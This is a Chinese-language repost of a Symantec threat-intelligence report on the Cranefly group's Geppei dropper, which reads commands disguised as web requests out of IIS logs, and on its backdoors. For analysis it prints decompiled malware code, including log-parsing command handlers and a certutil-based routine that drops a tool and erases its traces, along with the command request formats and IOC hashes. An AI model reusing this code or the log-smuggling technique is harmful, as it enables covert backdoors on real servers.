Cranefly：威脅者在隱秘的活動中使用前所未見的技術和工具

2022 年 10 月 28 日發布 | 威脅情報

威脅獵手團隊
賽門鐵克

該組織使用新方法從合法 IIS 日誌中讀取命令

賽門鐵克 (Broadcom軟體公司) 發現一個以前沒有記錄的病毒植入程式，它被用來安裝一個新的後門和其他工具，使用的新技術是從看似無害的微軟 IIS 伺服器日誌讀取命令。

賽門鐵克稱之為 Cranefly（又名UNC3524）的入侵者正在使用該病毒植入程式（Trojan.Geppei）安裝另一個迄今未記錄的惡意軟體（Trojan.Danfuan）和其他工具。從 IIS 日誌中讀取命令的技術是賽門鐵克研究人員迄今為止在現實世界的攻擊中沒有看到過的東西。

Cranefly 的活動背景

Mandiant 在 2022 年 5 月首次發佈關於 Cranefly 的消息，描述該組織如何針對處理企業發展、合併和收購（M&A）以及大型企業交易的員工電子郵件嘗試大量入侵。

攻擊者的停留時間很長，在受害者網路上至少停留了18個月，他們採取了措施，在不支援安全工具的設備上安裝後門，例如SANS陣列、負載平衡器和無線存取點控制器，以保持不被人注意。Mandiant看到攻擊者下載了一個名為QuietExit的新後門，它是基於開放原始碼的Dropbear SSH主從式架構軟體。在Mandiant觀察到的活動中，ReGeorg網頁殼層也被用作輔助後門。

技術細節

賽門鐵克研究人員在受害者機器上看到的第一個惡意活動是存在一個以前沒有記錄的病毒植入器（Trojan.Geppei）。它使用 PyInstaller，可將 Python 腳本轉換為可執行檔。

Geppei 從一個合法的 IIS 日誌中讀取命令。IIS 日誌是為了記錄 IIS 的資料，例如：網頁和應用程式。攻擊者可以通過將命令偽裝成網路訪問請求，向被攻擊的網路服務器發送命令。IIS 對它們的記錄是正常，但 Trojan.Geppei 可以把它們當作命令來讀取。

由 Geppei 讀取的命令包含惡意編碼的.ashx檔案。這些檔案被儲存在一個由命令參數決定的任意資料夾中，它們作為後門程式運行。

字串 Wrde、Exco 和 Cllo 通常不會出現在 IIS 日誌檔案中。這些似乎被 Geppei 用於惡意的 HTTP 請求解析；這些字串的存在促使病毒植入器可在一台機器上進行活動。

攻擊者可以使用一個假的 URL，甚至是一個不存在的 URL 來發送這些命令，因為 IIS 預設

會在同一個日誌檔案中記錄 404s。

```
flist = ['Wrde', 'Exco', 'Cllo', 'AppleWEBKit']
timenumber = 10
rows = 0
gflag = 0
while True:
    time.sleep(600)
    print('One Two Three')
    try:
        today = datetime.date.today()
        list1 = str(today).split('-')
        filename = 'u_ex' + list1[0][2:] + list1[1] + list1[2] + '.log'
        path = 'C:/inetpub/logs/LogFiles/W3SVC1/' + filename
        if os.path.exists(path):
            shutil.copy(path, 'C:\\windows\\temp\\IIS1.log')
            fp = open('C:\\windows\\temp\\IIS1.log', 'r')
            line = fp.readline()
            for i in range(rows):
                line = fp.readline()          if line != '':
                if len(line.split('Wrde')) == 3:
                    temp1 = line.split('Wrde')
                    wrde(temp1[1])
                if len(line.split('Exco')) == 3:
                    temp2 = line.split('Exco')
                    exco(temp2[1])
                if len(line.split('Cllo')) == 3:
                    clear()
                line = fp.readline()
                rows += 1
            else:
                fp.close()
                os.remove('C:\\windows\\temp\\IIS1.log')
    except:
        print('Bye-Bye')
```

當惡意的HTTP請求範本包含 "Wrde "指令時，例如：

- *GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]*

傳遞給 wrde() 的字串會被 Decrpt() 解密。

解密後的字串預計看起來會如下：

- *w+1+C:\\inetpub\\wwwroot\\test\\backdoor.ashx*

這些是惡意的 .ashx 文件，會儲存於如下路徑：

- *C:\\inetpub\\wwwroot\\test\\backdoor.ashx*

該下載器投放的後門程式包括：

- Hacktool.Regeorg:ReGeorg 是一個已知的惡意軟體，它可以建立 SOCKS 代理的網路殼層。在賽門鐵克觀察到的活動中看到兩個版本的 ReGeorg。在 Mandiant 記錄的活動中，一個 ReGeorg 網路殼層被植入。
- Trojan.Danfuan：這是一個以前沒有見過的惡意軟體。它是一個動態程式碼編譯器，可以編譯和執行收到的 C# 代碼。它似乎是基於 .NET 的動態編譯技術。這種類型動態編譯代碼並不是建立在磁碟儲存體上，而是存在於記憶體中。它在受感染的系統中充當後門。

當惡意的HTTP請求範本包含 "Exco" 指令時，例如：

- *GET [dummy string]Exco[passed string to exco()]Exco[dummy string]*

傳遞給 exco() 的字串會被 Decrpt() 解密，這個解密的字串是 os.system() 的可執行命令。

如果惡意的HTTP請求包含 "Cllo" 指令，就會調用函數 clear()。這個函數植入一個名為 sckspy.exe 的駭客工具，以停用 IIS 的事件日誌記錄。這似乎是另一個以前沒有記錄的工具。

另外，clear() 函數似乎試圖從 IIS 日誌檔案中刪除包含命令或惡意的 .ashx 檔案路徑記錄；但是，它並沒有檢查所有的記錄，所以這個函數似乎沒有按預期運作。

```
def clear():
    global gflag
    global rows
    text4 = '[malicious base64 encoded exe file]'
    if gflag == 0:
        try:
            fw = open('c:\\windows\\temp\\DMI27F127.txt', 'w')
            fw.write(text4)
            fw.close()
            os.system('certutil -decode c:\\windows\\temp\\DMI27F127.txt c:\\windows\\temp\\
            DMI27F127.cab')
            os.system('expand c:\\windows\\temp\\DMI27F127.cab c:\\windows\\system32\\sckspy.exe')
```

```
        os.system('c:\\windows\\system32\\sckspy.exe >c:\\windows\\temp\\DMI27F128.txt')
        fp = open('c:\\windows\\temp\\DMI27F128.txt', 'r')
        str1 = fp.readline()
        if str1.find('success') != -1:
            gflag = 1
        fp.close()
        os.system('del c:\\windows\\temp\\DMI27F127.txt')
        os.system('del c:\\windows\\temp\\DMI27F127.cab')
        os.system('del c:\\windows\\system32\\sckspy.exe')
        os.system('del c:\\windows\\temp\\DMI27F128.txt')
    except:
        print('bye-bye')
```

如果 wrde() 指令被調用時帶有參數 'r'，那麼就會將植入的 .ashx 檔案（即 Trojan.Danfuan 和 Hacktool.Regeorg）刪除：

```
if info[0] == 'r':
    temp = info[2].replace('\\\\', '\\')
    os.system('del ' + temp)
    name = temp.split('\\')
    if name in flist:
        flist.remove(name[(-1)][:-1])
```

歸因

Hacktool.Regeorg過去曾被多個進階持續性威脅（APT）組織使用，但由於該程式碼在GitHub上是公開的，其使用沒有提供任何歸屬線索。賽門鐵克無法將這一活動與Mandiant已記錄的UNC3524組織以外的任何已知團體聯繫起來，我們將其稱為Cranefly。

攻擊者使用新的技術和客製化工具，以及採取步驟隱藏受害者機器上活動的痕跡，表明Cranefly是一個相當熟練的威脅入侵者。雖然我們尚未看到資料從受害者機器上外洩，但其所部署的工具和為掩蓋這一活動所做的努力，再加上Mandiant以前記錄的活動，顯示這個團體最可能的動機是收集情報。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)

Trojan.Geppei

12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e
981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475
6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1
0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379
7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95
b5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844

Hacktool

1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa

Hacktool.Regeorg

56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077
0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd

Trojan.Danfuan

0b1686382245899377768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cranefly-new-tools-technique-geppei-danfuan
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2022/10

更多資訊 請造訪我們的網站 **http://www.SaveTime.com.tw**
(好記：幫您節省時間.的公司.在台灣)

關於保安資訊：

從協助顧客簡單使用賽門鐵克方案開始，到滿足顧客需求更超越顧客期望的價值。

- 保安資訊被業界公認為最專業的賽門鐵克解決方案的專家。
- 保安資訊的團隊自 1995 年起就專注於賽門鐵克資訊安全解決方案的銷售、規劃與整合、技術支援、教育訓練、顧問服務，特別是提供企業 IT 專業人員的技能傳承(Knowledge Transfer)的效益上，以及比原廠更快速的技術支援回應，深獲許多中大型企業與組織的青睞(特別是有 IT Team 的組織)，長期合作的意願與滿意度極高。
- 與許多系統整合或服務公司不同的是，我們不吝惜分享我們的專業技能與經驗給顧客的 IT Team，經由常態性的教育訓練、精簡的快速手冊、標準 SOP 文件的提供，以及基於比原廠更孰悉顧客的使用環境與現況的快速回應的品質，在業界建立扎實的口碑。
- 保安資訊一直專注於賽門鐵克領先業界的資訊系統基礎架構上的安全性與可用性的解決方案。進而累積了許多與基礎架構整合的成功經驗，讓導入 Symantec 解決方方案的成效非常卓越。我們的顧客都能免除 Try & Error 的時間浪費及不確定的投入或自行摸索的運作風險。
- 關於我們：

保安資訊有限公司
http://www.savetime.com.tw
0800-381500、0936-285588